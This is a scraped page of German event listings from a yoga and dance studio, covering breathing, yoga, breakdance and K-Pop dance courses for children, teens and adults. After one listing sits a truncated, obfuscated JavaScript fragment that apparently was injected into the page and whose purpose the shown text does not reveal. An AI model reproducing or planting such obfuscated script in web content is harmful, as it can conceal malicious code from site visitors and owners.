Atem und Geist sind eng miteinander verbunden. Ist der Atem ruhig, wird auch der Geist ruhig und klar. Im Kurs werden wir verschiedene Atemtechniken kennenlernen, die unseren Geist ausgleichen und beruhigen. Die körperliche und mentale Entspannung führt zu innerem Gleichgewicht und Frieden. Das hilft uns, bei der Meditation zentriert zu bleiben und uns selbst zu […]
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Für Kinder 5-8 Jahre. Aufgepasst B-Girls and B-Boys! Lust auf coole Moves zu mitreißenden Beats? Ein neuer Breakdance Workshop für Euch mit Anne. Auch für Anfänger geeignet. Wann: Mittwoch, 22.2.2023 und Donnerstag, 23.2.2023 jeweils 14.30 - 16.00 Uhr Kosten: 28 EuroAnmeldung Tel.: 0174 73 35 35 0 oder Email: sonja@tanzen-yoga.de
Für Teens 10- 16 Jahre. Aufgepasst B-Girls and B-Boys! Lust auf coole Moves zu mitreißenden Beats? Ein neuer Breakdance Workshop für Euch mit Anne. Auch für Anfänger geeignet. Wann: Mittwoch, 22.2.2023 und Donnerstag, 23.2.2023 jeweils 16.00 - 18.00 Uhr Kosten: 36 EuroAnmeldung Tel.: 0174 73 35 35 0 oder Email: sonja@tanzen-yoga.de function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let […]
Atmen - Auspowern - Abschalten. Eine dynamische, herausfordernde Yogapraxis für Teilnehmer mit Vorkenntnissen oder mit guter Grundfitness. Wann? Ab 27. Februar 2023 5 x montags 18.00 -19.00 Uhr Kosten: 55 Euro Teilnahme über Zoom oder im Tanz´n Yoga Studio (Regensburger Str. 4, 93138 Lappersdorf).Anmeldung Tel.: 0174 73 35 35 0 oder […]
Eine wohltuende Yogapraxis mit allem, was insbesondere dem Rücken, aber auch dem ganzen Körper und der Seele gut tut. Auch für Anfänger geeignet. Wann? Ab 2. März 5 x donnerstags 9.00 - 10.00 Uhr Kosten: 55 Euro Teilnahme über Zoom oder im Tanz´n Yoga Studio (Regensburger Str. 4, 93138 Lappersdorf). Anmeldung Tel.: 0174 […]
@ET-DC@eyJkeW5hbWljIjp0cnVlLCJjb250ZW50IjoicG9zdF9jYXRlZ29yaWVzIiwic2V0dGluZ3MiOnsiYmVmb3JlIjoiPGgyPkRpZXMgaXN0IGVpbjogIiwiYWZ0ZXIiOiI8L2gyPiIsImxpbmtfdG9fdGVybV9wYWdlIjoib2ZmIiwic2VwYXJhdG9yIjoiIC0gIiwiY2F0ZWdvcnlfdHlwZSI6InRyaWJlX2V2ZW50c19jYXQifX0=@Fördert Körperwahrnehmung, Konzentration und Ausgeglichenheit. Für Kinder ab 5 Jahren. Ab 2. März 5 x donnerstags 16.00 - 17.00 Uhr Kosten: 45 EuroAnmeldung Tel.: 0174 73 35 35 0 oder Email: sonja@tanzen-yoga.de
Coole Moves á la K-Pop Stars - damit liegst Du voll im Trend! Für Kids ab 10 Jahren. Neuer Kurs ab 2. März 5 x donnerstags jeweils 18-19 Uhr Kosten: 45 Euro Anmeldung Tel.: 0174 73 35 35 0 […]
Achtsamkeit und Yoga für Kinder (1.-4. Klasse) Zusammen mit Simone Schreier (Lieblingsfachtrainerin, Ergotherapeutin) und Sonja Güthe (Yogalehrerin, Tanzpädagogin) und dem Lieblingsfachmaskottchen Elton Einzigartig, werden wir uns auf eine ganz besondere Reise machen, nämlich zu einem Schatz, der bereits in Dir ist, ...Deiner Zauberkraft! Diese kann Dir helfen, mit schwierigen Gefühlen umzugehen, bei Stress und Druck […]